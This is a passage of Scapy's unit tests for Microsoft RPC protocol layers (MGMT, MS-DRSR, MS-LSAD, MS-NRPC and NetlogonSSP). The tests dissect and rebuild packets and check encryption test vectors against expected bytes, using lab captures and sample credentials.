NRBFClassWithMembersAndTypes( ObjectId=-3, Name=NRBFLengthPrefixedString( String=b"System.Data.SerializationFormat" ), MemberNames=[ NRBFLengthPrefixedString(String=b"value__"), ], BinaryTypeEnums=[BinaryTypeEnum.Primitive], AdditionalInfos=[ NRBFAdditionalInfo(bintype=BinaryTypeEnum.Primitive, Value=PrimitiveTypeEnum.Int32), ], LibraryId=2, Members=[ NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Int32, Value=1) ], ), NRBFBinaryObjectString( ObjectId=4, Value=NRBFLengthPrefixedString(String=b""), ), NRBFMemberReference(IdRef=4), NRBFMemberReference(IdRef=4), NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Boolean, Value=0), NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Int32, Value=1033), NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Boolean, Value=0), NRBFObjectNull(), NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Int32, Value=1), NRBFMemberReference(IdRef=5), ], ), NRBFArraySinglePrimitive( ObjectId=5, PrimitiveTypeEnum=PrimitiveTypeEnum.Byte, Values=b"TRIMMED", ), NRBFMessageEnd(), ] ) assert bytes(pkt) == data ================================================ FILE: test/scapy/layers/msrpce/mgmt.uts ================================================ % C706 MGMT tests ~ needs_py38plus + C706 MGMT test vectors = [C706 MGMT] - Import layer from scapy.config import conf conf.exts.load("scapy-rpc") from scapy.layers.msrpce.raw.mgmt import * = [C706 MGMT] - Dissect rpc__mgmt_inq_if_ids_Response import uuid DATA = bytes.fromhex('00000200000000000c000000000000000c000000000000000000020000000000000002000000000000000200000000000000020000000000000002000000000000000200000000000000020000000000000002000000000000000200000000000000020000000000000002000000000000000200000000000883afe11f5dc91191a408002b14a0fa0300000084650a0b0f9ecf11a3cf00805f68cb1b0100010026b5551d37c1c546ab79638f2a68e869010000007f0bfe64f59e5345a7db9a197577755401000000e6730ce6f988cf119af10020af6e72f402000000c4fefc9960521b10bbcb00aa0021347a00000000609ee7b9523dce11aaa100006901293f000002001e242f412ac1ce11abff0020af6e7a17000002003601000000000000c0000000000000460000000072eef3c67eced111b71e00c04fc3111a01000000b84a9f4d1c7dcf11861e0020af6e7c5700000000a001000000000000c0000000000000460000000000000000') pkt = rpc__mgmt_inq_if_ids_Response(DATA) assert pkt.if_id_vector.value.max_count == 12 assert pkt.if_id_vector.value.Count == 12 assert [(uuid.UUID(bytes_le=bytes(x.Uuid)), x.VersMajor, x.VersMinor) for x in pkt.valueof("if_id_vector.IfId")] == [ (uuid.UUID('e1af8308-5d1f-11c9-91a4-08002b14a0fa'), 3, 0), (uuid.UUID('0b0a6584-9e0f-11cf-a3cf-00805f68cb1b'), 1, 1), (uuid.UUID('1d55b526-c137-46c5-ab79-638f2a68e869'), 1, 0), (uuid.UUID('64fe0b7f-9ef5-4553-a7db-9a1975777554'), 1, 0), (uuid.UUID('e60c73e6-88f9-11cf-9af1-0020af6e72f4'), 2, 0), (uuid.UUID('99fcfec4-5260-101b-bbcb-00aa0021347a'), 0, 0), (uuid.UUID('b9e79e60-3d52-11ce-aaa1-00006901293f'), 0, 2), (uuid.UUID('412f241e-c12a-11ce-abff-0020af6e7a17'), 0, 2), (uuid.UUID('00000136-0000-0000-c000-000000000046'), 0, 0), (uuid.UUID('c6f3ee72-ce7e-11d1-b71e-00c04fc3111a'), 1, 0), (uuid.UUID('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57'), 0, 0), (uuid.UUID('000001a0-0000-0000-c000-000000000046'), 0, 0), ] ================================================ FILE: test/scapy/layers/msrpce/msdrsr.uts ================================================ % MS-DRSR tests + [MS-DRSR] test vectors + Dissect DRSR Crack_Names exchange = [EXCH] - Load MSDRSR exchange and decrypt (SPNEGOSSP/NTLMSSP) load_layer("msrpce") bind_layers(TCP, DceRpc5, sport=49685) # the DCE/RPC port bind_layers(TCP, DceRpc5, dport=49685) conf.dcerpc_session_enable = True conf.winssps_passive = [ SPNEGOSSP( [ NTLMSSP( IDENTITIES={ "Administrator": MD4le("Password123!"), }, ) ] ) ] pkts = sniff(offline=scapy_path('test/pcaps/dcerpc_msdrsr_cracknames.pcapng.gz'), session=TCPSession) conf.dcerpc_session_enable = False = [EXCH] - Check IDL_DRSBind_Request from scapy.layers.msrpce.msdrsr import DRS_EXTENSIONS_INT bindreq = pkts[7] assert IDL_DRSBind_Request in bindreq ext = DRS_EXTENSIONS_INT(bindreq[IDL_DRSBind_Request].valueof("pextClient").rgb) assert ext.Pid == 1234 assert ext.dwReplEpoch == 1729468809 = [EXCH] - Check IDL_DRSBind_Response import uuid bindresp = pkts[8] assert IDL_DRSBind_Response in bindresp assert bindresp[IDL_DRSBind_Response].phDrs.uuid == b'\xf4$I\xf5\xde\x0c\xfcO\x8b\xfa\xb0Y\x87\xf4\x11i' ext = DRS_EXTENSIONS_INT(bindresp[IDL_DRSBind_Response].valueof("ppextServer").rgb) assert ext.dwFlags.GETCHGREQ_V10 assert ext.dwFlags == 0x3fffff7f assert ext.Pid == 696 assert ext.ConfigObjGuid == uuid.UUID('14ea64e0-3470-48e6-9ace-77012d8d474f') = [EXCH] - Check IDL_DRSCrackNames_Request cnreq = pkts[9] assert IDL_DRSCrackNames_Request in cnreq crackreq = cnreq[IDL_DRSCrackNames_Request].valueof("pmsgIn") assert crackreq.formatOffered == 11 assert crackreq.formatDesired == 0xfffffff2 assert crackreq.valueof("rpNames") == [ b'S-1-5-21-1924137214-3718646274-40215721-522', b'S-1-5-21-1924137214-3718646274-40215721-498', b'S-1-5-21-1924137214-3718646274-40215721-516', b'S-1-5-21-1924137214-3718646274-40215721-526', b'S-1-5-21-1924137214-3718646274-40215721-527', b'S-1-5-21-1924137214-3718646274-40215721-512', b'S-1-5-21-1924137214-3718646274-40215721-519', b'S-1-5-21-1924137214-3718646274-40215721-513', ] = [EXCH] - Check IDL_DRSCrackNames_Response cnresp = pkts[10] assert IDL_DRSCrackNames_Response in cnresp crackresp = cnresp[IDL_DRSCrackNames_Response].valueof("pmsgOut") assert [x.valueof("pName") for x in crackresp.valueof("pResult").valueof("rItems")] == [ b'Cloneable Domain Controllers@DOMAIN', b'Enterprise Read-only Domain Controllers@DOMAIN', b'Domain Controllers@DOMAIN', b'Key Admins@DOMAIN', b'Enterprise Key Admins@DOMAIN', b'Domain Admins@DOMAIN', b'Enterprise Admins@DOMAIN', b'Domain Users@DOMAIN', ] ================================================ FILE: test/scapy/layers/msrpce/mslsad.uts ================================================ % MS-LSAD tests ~ needs_py38plus + [MS-LSAD] build and dissection tests * This files are stored in the scapy-rpc extension, but included as part of Scapy's main testing suite for consistency. = [MS-LSAD] - Import [MS-LSAD] from scapy.config import conf conf.exts.load("scapy-rpc") from scapy.layers.msrpce.raw.ms_lsad import * = [MS-LSAD] - Build LsarEnumerateAccountsWithUserRight_Request policyHandle = NDRContextHandle(attributes=0, uuid=b'\x92\xa1*"\xc2\xc2\nJ\xaf\x0bL\xdd]C\x8c\x1a') right = "SeAuditPrivilege" pkt = LsarEnumerateAccountsWithUserRight_Request( PolicyHandle=policyHandle, UserRight=PRPC_UNICODE_STRING( Buffer=right, ), ) assert bytes(pkt) == b'\x00\x00\x00\x00\x92\xa1*"\xc2\xc2\nJ\xaf\x0bL\xdd]C\x8c\x1a\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00 \x00 \x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00S\x00e\x00A\x00u\x00d\x00i\x00t\x00P\x00r\x00i\x00v\x00i\x00l\x00e\x00g\x00e\x00' = [MS-LSAD] - Dissect LsarEnumerateAccountsWithUserRight_Response from scapy.layers.windows.security import WINNT_SID pkt = LsarEnumerateAccountsWithUserRight_Response(b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00') information = pkt.valueof("EnumerationBuffer.Information") assert [ WINNT_SID(bytes(x.valueof("Sid"))).summary() for x in information ] == ['S-1-5-9', 'S-1-5-32-554', 'S-1-5-32-544', 'S-1-5-11', 'S-1-1-0'] ================================================ FILE: test/scapy/layers/msrpce/msnrpc.uts ================================================ % MS-NRPC tests + [MS-NRPC] test vectors = [MS-NRPC] test vectors - sect 4.2 from scapy.layers.tls.crypto.hash import Hash_MD4 from scapy.layers.msrpce.msnrpc import ComputeSessionKeyStrongKey # Clear-text SharedSecret: ClearSharedSecret = bytes.fromhex("2e002f002c006e004c003e004f004c005a003600730074005e0058004b0065004d0025002e0049002d00740045006000570056006a0043005b00300036003f005d003a00510076005f0054006e0055006f003a003a00420077002c0067006000760023004a004d0036004d007100530050007500550028006e00710034003e0079006a005b0064005c002b005600700052005f00790078007500630021006700300054003600350076007a005700410042005f004200220069003c003c0053002b00340027005e003a0021002c003b002500470073002d00280022003a0020006d003e00210043004c0066006e004e00") # OWF of SharedSecret: SharedSecret = Hash_MD4().digest(ClearSharedSecret) assert SharedSecret.hex() == "31a590170a351fd51148b2a10af2c305" # Client Challenge: ClientChallenge = bytes.fromhex("3a0390a46d0c3d4f") # Server Challenge: ServerChallenge = bytes.fromhex("0c4c13d16041c860") # Session Key: assert ComputeSessionKeyStrongKey(SharedSecret, ClientChallenge, ServerChallenge).hex() == "eefe8f40007a2eeb6843d0d30a5be2e3" = [MS-NRPC] test vectors - sect 4.3 from unittest import mock from scapy.layers.msrpce.msnrpc import NetlogonSSP # Input SessionKey = bytes.fromhex("0cb6948805f797bf2a82807973b89537") Confounder = bytes.fromhex("717f5076c5902bcd") ClearTextMessage = bytes.fromhex("3000000000000000000000000000000030000000000000005c005c00570049004e002d00450055003400550047003800370048003200490056002e00320033003000360066006500760032002e006e00740074006500730074002e006d006900630072006f0073006f00660074002e0063006f006d0000000000020000000000100000000000000000000000000000001000000000000000570049004e002d004400310049005400420046004d003400410038005500000085bb1511fd09786d3b61b06400000000000000000000000001000000000000000000000000000000") # Expected FullNetlogonSignatureHeader = bytes.fromhex("13001a00ffff0000b37c1f0ec86468f086761f2f86f4f4c1632d1f547d2cf6ff") EncryptedMessage = bytes.fromhex("c930c9a079d95c78bea6a3150908c11f4b68e41219bcb91680ead287da211eec66bc27df2bc9a0f4ecf25c88624e493c59cdec6bc7b08bed84b97c33138ae3c8377cb327f3ea6076da91c5d23dbf1b2f4066a455332716b7b64f2ec9a944702d20a85035de3b231a5216b7a6c9102bd17c7d6ab1b379445eb5a5276e360d3bcef93b5359d36b0006b0c10bc2fec73777816a383a4614494b7b18bc34cd5447681eb48f8132a0a08a50d752826cff068c76959d49767557e503d509fa3c18b0860a22a7e2bae50e812c5d71c31f9f1dfd143333b3043f6bf906e5d91207f1d988") # Perform the same operation using NetlogonSSP: client = NetlogonSSP(SessionKey=SessionKey, computername="DC1", domainname="DOMAIN", AES=True) clicontext, tok, negState = client.GSS_Init_sec_context(None) with mock.patch('scapy.layers.msrpce.msnrpc.os.urandom', side_effect=lambda x: Confounder): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=ClearTextMessage), ] ) assert _msgs[0].data == EncryptedMessage assert bytes(sig)[:len(FullNetlogonSignatureHeader)] == FullNetlogonSignatureHeader = [MS-NRPC] test vectors - sect 4.3.1 from unittest import mock from scapy.layers.msrpce.msnrpc import NetlogonSSP # Input RpcPDUHeader = bytes.fromhex("0500000310000000380138000c000000d400000001001500") RpcSecTrailer = bytes.fromhex("44060c0003000000") # Expected FullNetlogonSignatureHeader = bytes.fromhex("13001a00ffff00005d69950dfde45ae9f092ae5c3c55aacd632d1f547d2cf6ff") # Perform the same operation using NetlogonSSP: client = NetlogonSSP(SessionKey=SessionKey, computername="DC1", domainname="DOMAIN", AES=True) clicontext, tok, negState = client.GSS_Init_sec_context(None) with mock.patch('scapy.layers.msrpce.msnrpc.os.urandom', side_effect=lambda x: Confounder): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=RpcPDUHeader), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=ClearTextMessage), SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=RpcSecTrailer), ] ) assert _msgs[0].data == RpcPDUHeader assert _msgs[1].data == EncryptedMessage assert _msgs[2].data == RpcSecTrailer assert bytes(sig)[:len(FullNetlogonSignatureHeader)] == FullNetlogonSignatureHeader + Dissect and Build full NRPC exchange # XXX in the DCE/RPC spec + MS-RPCE, padding is only supposed to be zeros # but for some reason it's weird 0xaaaa, 0xaabb... stuff in Windows. # This is ignored by all implementations, and looks like leftovers from Microsoft debugging # but it means parsing + rebuilding properly a packet is *slightly* different. # In the tests you will find several instances where we manually replace the padding with 0xAA, or similar # to make the output match, but it would be cool to reverse engineer the ndr lib in windows and copy # exactly the same debug values = [EXCH] - Load MSRPCE and bind load_layer("msrpce") bind_layers(TCP, DceRpc, sport=40564) # the DCE/RPC port bind_layers(TCP, DceRpc, dport=40564) = [EXCH] - Parse NRPC exchange (pcap) pkts = sniff(offline=scapy_path('test/pcaps/dcerpc_msnrpc.pcapng.gz'), session=DceRpcSession) = [EXCH] - Check ept_map_Request from scapy.layers.msrpce.ept import * epm_req = pkts[2][DceRpc5].payload.payload assert isinstance(epm_req, ept_map_Request) assert epm_req.max_towers == 4 assert epm_req.map_tower.value.max_count == 75 assert epm_req.map_tower.value.tower_length == 75 twr = protocol_tower_t(epm_req.map_tower.value.tower_octet_string) assert twr.count == 5 assert twr.floors[0].sprintf("%uuid%") == 'logon' = [EXCH] - Re-build ept_map_Request from scratch pkt = ept_map_Request( entry_handle=NDRContextHandle(attributes=0, uuid=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), obj=NDRPointer( referent_id=1, value=UUID(Data1=0, Data2=0, Data3=0, Data4=b'\x00\x00\x00\x00\x00\x00\x00\x00') ), map_tower=NDRPointer( referent_id=2, value=twr_p_t(tower_octet_string=b'\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x00\x87\x01\x00\t\x04\x00\x00\x00\x00\x00') ), max_towers=4, ndr64=False, ) output = bytearray(bytes(pkt)) assert bytes(output) == bytes(epm_req) = [EXCH] - Check ept_map_Response epm_resp = pkts[3][DceRpc5].payload.payload assert epm_resp.entry_handle.attributes == 0 assert epm_resp.entry_handle.uuid == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert epm_resp.ITowers.max_count == 4 assert epm_resp.ITowers.value[0].value[0].value.max_count == 75 assert epm_resp.valueof("ITowers")[0].max_count == 75 assert epm_resp.ITowers.value[0].value[0].value.tower_length == 75 assert epm_resp.valueof("ITowers")[0].tower_length == 75 twr = protocol_tower_t(epm_resp.ITowers.value[0].value[0].value.tower_octet_string) assert twr.floors[0].sprintf("%uuid%") == 'logon' assert twr.floors[1].sprintf("%uuid%") == 'NDR 2.0' assert twr.floors[1].rhs == 0 assert twr.floors[2].protocol_identifier == 11 assert twr.floors[3].sprintf("%protocol_identifier%") == "NCACN_IP_TCP" assert twr.floors[3].rhs == 49676 assert twr.floors[4].sprintf("%protocol_identifier%") == "IP" assert twr.floors[4].rhs == "192.168.122.17" = [EXCH] - Re-build ept_map_Response from scratch pkt = ept_map_Response( entry_handle=NDRContextHandle(attributes=0), ITowers=[ twr_p_t(tower_octet_string=b'\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc2\x0c\x01\x00\t\x04\x00\xc0\xa8z\x11'), twr_p_t(tower_octet_string=b'\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc2\x03\x01\x00\t\x04\x00\xc0\xa8z\x11') ], ndr64=False, ) pkt.ITowers.value[0].value[0].referent_id = 0x3 pkt.ITowers.value[0].value[1].referent_id = 0x4 pkt.ITowers.max_count = 4 assert bytes(pkt) == bytes(epm_resp) = [EXCH] - Check NetrServerReqChallenge_Request chall_req = pkts[6][NetrServerReqChallenge_Request] assert chall_req.valueof("ComputerName") == b"WIN1" assert chall_req.PrimaryName is None assert chall_req.ClientChallenge.data == b"12345678" = [EXCH] - Re-build NetrServerReqChallenge_Request from scratch pkt = NetrServerReqChallenge_Request( ComputerName=b'WIN1', ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'), PrimaryName=None, ndr64=False, ) assert bytes(pkt) == bytes(chall_req) = [EXCH] - Check NetrServerReqChallenge_Response chall_resp = pkts[7][NetrServerReqChallenge_Response] assert chall_resp.ServerChallenge.data == b'Zq/\xc4D\xfeRI' assert chall_resp.status == 0 = [EXCH] - Re-build NetrServerReqChallenge_Response from scratch pkt = NetrServerReqChallenge_Response( ServerChallenge=PNETLOGON_CREDENTIAL(data=b'Zq/\xc4D\xfeRI'), ndr64=False, ) assert bytes(pkt) == bytes(chall_resp) = [EXCH] - Check NetrServerAuthenticate3_Request auth_req = pkts[8][NetrServerAuthenticate3_Request] assert auth_req.PrimaryName is None assert auth_req.valueof("AccountName") == b"WIN1$" assert auth_req.sprintf("%SecureChannelType%") == "WorkstationSecureChannel" assert auth_req.valueof("ComputerName") == b"WIN1" assert auth_req.ClientCredential.data == b'd:\xb3p\xc6\x9e\xf40' assert auth_req.NegotiateFlags == 1611661311 = [EXCH] - Re-build NetrServerAuthenticate3_Request from scratch pkt = NetrServerAuthenticate3_Request( AccountName=b'WIN1$', ComputerName=b'WIN1', ClientCredential=PNETLOGON_CREDENTIAL(data=b'd:\xb3p\xc6\x9e\xf40'), PrimaryName=None, SecureChannelType="WorkstationSecureChannel", NegotiateFlags=1611661311, ndr64=False, ) output = bytearray(bytes(pkt)) assert bytes(output) == bytes(auth_req) = [EXCH] - Check NetrServerAuthenticate3_Response auth_resp = pkts[9][NetrServerAuthenticate3_Response] assert auth_resp.ServerCredential.data == b'1h\x8d\xb8\xf4zH\xaf' assert auth_resp.NegotiateFlags == 1611661311 assert auth_resp.AccountRid == 1105 assert auth_resp.status == 0 = [EXCH] - Re-build NetrServerAuthenticate3_Response from scratch pkt = NetrServerAuthenticate3_Response( ServerCredential=PNETLOGON_CREDENTIAL(data=b'1h\x8d\xb8\xf4zH\xaf'), NegotiateFlags=1611661311, AccountRid=1105, status=0, ndr64=False, ) assert bytes(pkt) == bytes(auth_resp) + GSS-API NetlogonSSP tests ~ mock = [NetlogonSSP] - Create randomness-mock context manager # mock the random to get consistency from unittest import mock def fake_urandom(x): # wow, impressive entropy return b"0" * x _patches = [ # Patch all the random mock.patch('scapy.layers.msrpce.msnrpc.os.urandom', side_effect=fake_urandom), ] class NetlogonRandomPatcher: def __enter__(self): for p in _patches: p.start() def __exit__(self, *args, **kwargs): for p in _patches: p.stop() = [NetlogonSSP] - RC4 - Create client and server NetlogonSSP from scapy.layers.msrpce.msnrpc import NetlogonSSP, NL_AUTH_MESSAGE client = NetlogonSSP(SessionKey=b"\x00\x00\x00\x00\x00\x00\x00\x00", computername="DC1", domainname="DOMAIN", AES=False) server = NetlogonSSP(SessionKey=b"\x00\x00\x00\x00\x00\x00\x00\x00", computername="DC1", domainname="DOMAIN", AES=False) = [NetlogonSSP] - RC4 - GSS_Init_sec_context (NL_AUTH_MESSAGE) clicontext, tok, negState = client.GSS_Init_sec_context(None) assert negState == 1 assert isinstance(tok, NL_AUTH_MESSAGE) assert tok.MessageType == 0 assert tok.Flags == 3 bytes(tok) assert bytes(tok) == b'\x00\x00\x00\x00\x03\x00\x00\x00DOMAIN\x00DC1\x00' = [NetlogonSSP] - RC4 - GSS_Accept_sec_context (NL_AUTH_MESSAGE->NL_AUTH_MESSAGE) srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok) assert negState == 0 assert tok.MessageType == 1 bytes(tok) assert bytes(tok) == b'\x01\x00\x00\x00\x00\x00\x00\x00' = [NetlogonSSP] - RC4 - GSS_Init_sec_context (NL_AUTH_MESSAGE->OK) clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok) assert negState == 0 assert tok is None = [NetlogonSSP] - RC4 - GSS_WrapEx/GSS_UnwrapEx: client sends a encrypted payload data_header = b"header" # signed but not encrypted data = b"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" # encrypted with NetlogonRandomPatcher(): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert bytes(encrypted) == b'~\x82\xda\x9e>t?QA\xe7\x06B\x87\x01\x03\x97\xea\xd2\xe9\xc4\xbfM$\x95VKxivff\x93\x9a\xe8\rbe#\xe6W\xb4\x82A\xd8\xa7\xf7]\xf3\xb0\x88' assert bytes(sig) == b'w\x00z\x00\xff\xff\x00\x00\x9f\xcb\xb6s\x8c\x8c\x0c*\xa9E\xa4\xd1\x85\xee.\xa2:\xd7\x99\xdaO\x05N ' decrypted = server.GSS_UnwrapEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted), ], sig )[1].data assert decrypted == data = [NetlogonSSP] - RC4 - GSS_WrapEx/GSS_UnwrapEx: server answers back with NetlogonRandomPatcher(): _msgs, sig = server.GSS_WrapEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) re_encrypted = _msgs[1].data assert bytes(re_encrypted) == b'\x9b\xc7c\x81\xfbF(\x19\xb6>\x08i\x7f\x18~H\xd6m~\x11K\x83\xb6\x15\x9a\xceP\xa1K\x8d\x83\xbb\xa7\x0fR*J\x89-\xec!\xde\xffs)\xd8F\x9c@^' assert bytes(sig) == b'w\x00z\x00\xff\xff\x00\x00\x9f\xcb\xb6r\x0c\x8c\x0c*\xa9E\xa4\xd1\x85\xee.\xa2\xdf\x92 \xc5\x8a7Yh' decrypted = client.GSS_UnwrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=re_encrypted), ], sig )[1].data assert decrypted == data = [NetlogonSSP] - RC4 - GSS_WrapEx/GSS_UnwrapEx: inject fault _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert encrypted != data bad_data_header = data_header[:-3] + b"hey" try: server.GSS_UnwrapEx(srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted), ], sig ) assert False, "No error was reported, but there should have been one" except ValueError: pass = [NetlogonSSP] - AES - Create client and server NetlogonSSP from scapy.layers.msrpce.msnrpc import NetlogonSSP, NL_AUTH_MESSAGE client = NetlogonSSP(SessionKey=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", computername="DC1", domainname="DOMAIN", AES=True) server = NetlogonSSP(SessionKey=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", computername="DC1", domainname="DOMAIN", AES=True) = [NetlogonSSP] - AES - GSS_Init_sec_context (NL_AUTH_MESSAGE) clicontext, tok, negState = client.GSS_Init_sec_context(None) assert negState == 1 assert isinstance(tok, NL_AUTH_MESSAGE) assert tok.MessageType == 0 assert tok.Flags == 3 bytes(tok) assert bytes(tok) == b'\x00\x00\x00\x00\x03\x00\x00\x00DOMAIN\x00DC1\x00' = [NetlogonSSP] - AES - GSS_Accept_sec_context (NL_AUTH_MESSAGE->NL_AUTH_MESSAGE) srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok) assert negState == 0 assert tok.MessageType == 1 bytes(tok) assert bytes(tok) == b'\x01\x00\x00\x00\x00\x00\x00\x00' = [NetlogonSSP] - AES - GSS_Init_sec_context (NL_AUTH_MESSAGE->OK) clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok) assert negState == 0 assert tok is None = [NetlogonSSP] - AES - GSS_WrapEx/GSS_UnwrapEx: client sends a encrypted payload data_header = b"header" # signed but not encrypted data = b"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" # encrypted with NetlogonRandomPatcher(): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert bytes(encrypted) == b'\xbf\x1aP\xb4\xb54\xe4^\x1a\xfe\xf3\x1f(\xfa[\xc4\x06\xdb_\x1a9\x90P' assert bytes(sig) == b'\x13\x00\x1a\x00\xff\xff\x00\x00.\n\x8e\xcf\xbek \x84\x978\xe2\xad\x8c\xdd\x8efS\x9b\xf3DG\xf4[\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' decrypted = client.GSS_UnwrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=re_encrypted), ], sig )[1].data assert decrypted == data = [NetlogonSSP] - AES - GSS_WrapEx/GSS_UnwrapEx: inject fault _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert encrypted != data bad_data_header = data_header[:-3] + b"hey" try: server.GSS_UnwrapEx(srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted), ], sig ) assert False, "No error was reported, but there should have been one" except ValueError: pass = [NetlogonClient] - Build and validate authenticator - Netlogon SSP from unittest import mock from scapy.layers.msrpce.msnrpc import NetlogonClient, NetlogonSSP client = NetlogonClient() client.SessionKey = b'\xec\xee\xda\xb70\xdeQ\x98\xa4\xceDErt\xcem' client.ssp = NetlogonSSP(client.SessionKey, "WKS01", "DOMAIN") client.ClientStoredCredential = b'\xf8\x890D\x1b_\xf2x' # Build with mock.patch('scapy.layers.msrpce.msnrpc.time.time', side_effect=lambda: 1773509346): authenticator = client.create_authenticator() assert authenticator.Timestamp == 1773509346 assert bytes(authenticator) == b'a\x18\xa3\xebu`3\x84\xe2\x9a\xb5i' # Verify authenticator = PNETLOGON_AUTHENTICATOR(b'`6n\xd0\x80\x91"\x06\x00\x00\x00\x00') client.validate_authenticator(authenticator) = [NetlogonClient] - Build and validate authenticator - Kerberos SSP from scapy.layers.msrpce.msnrpc import NetlogonClient, PNETLOGON_AUTHENTICATOR from scapy.layers.kerberos import KerberosSSP client = NetlogonClient() client.ssp = KerberosSSP(UPN="WKS01@DOMAIN", PASSWORD="Password") # Build authenticator = client.create_authenticator() assert bytes(authenticator) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Verify authenticator = PNETLOGON_AUTHENTICATOR(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') client.validate_authenticator(authenticator) ================================================ FILE: test/scapy/layers/msrpce/msscmr.uts ================================================ % MS-SCMR tests ~ needs_py38plus + [MS-SCMR] build and dissection tests * This files are stored in the scapy-rpc extension, but included as part of Scapy's main testing suite for consistency. = [MS-SCMR] - Import [MS-SCMR] from scapy.config import conf conf.exts.load("scapy-rpc") from scapy.layers.msrpce.raw.ms_scmr import * = [MS-SCMR] - 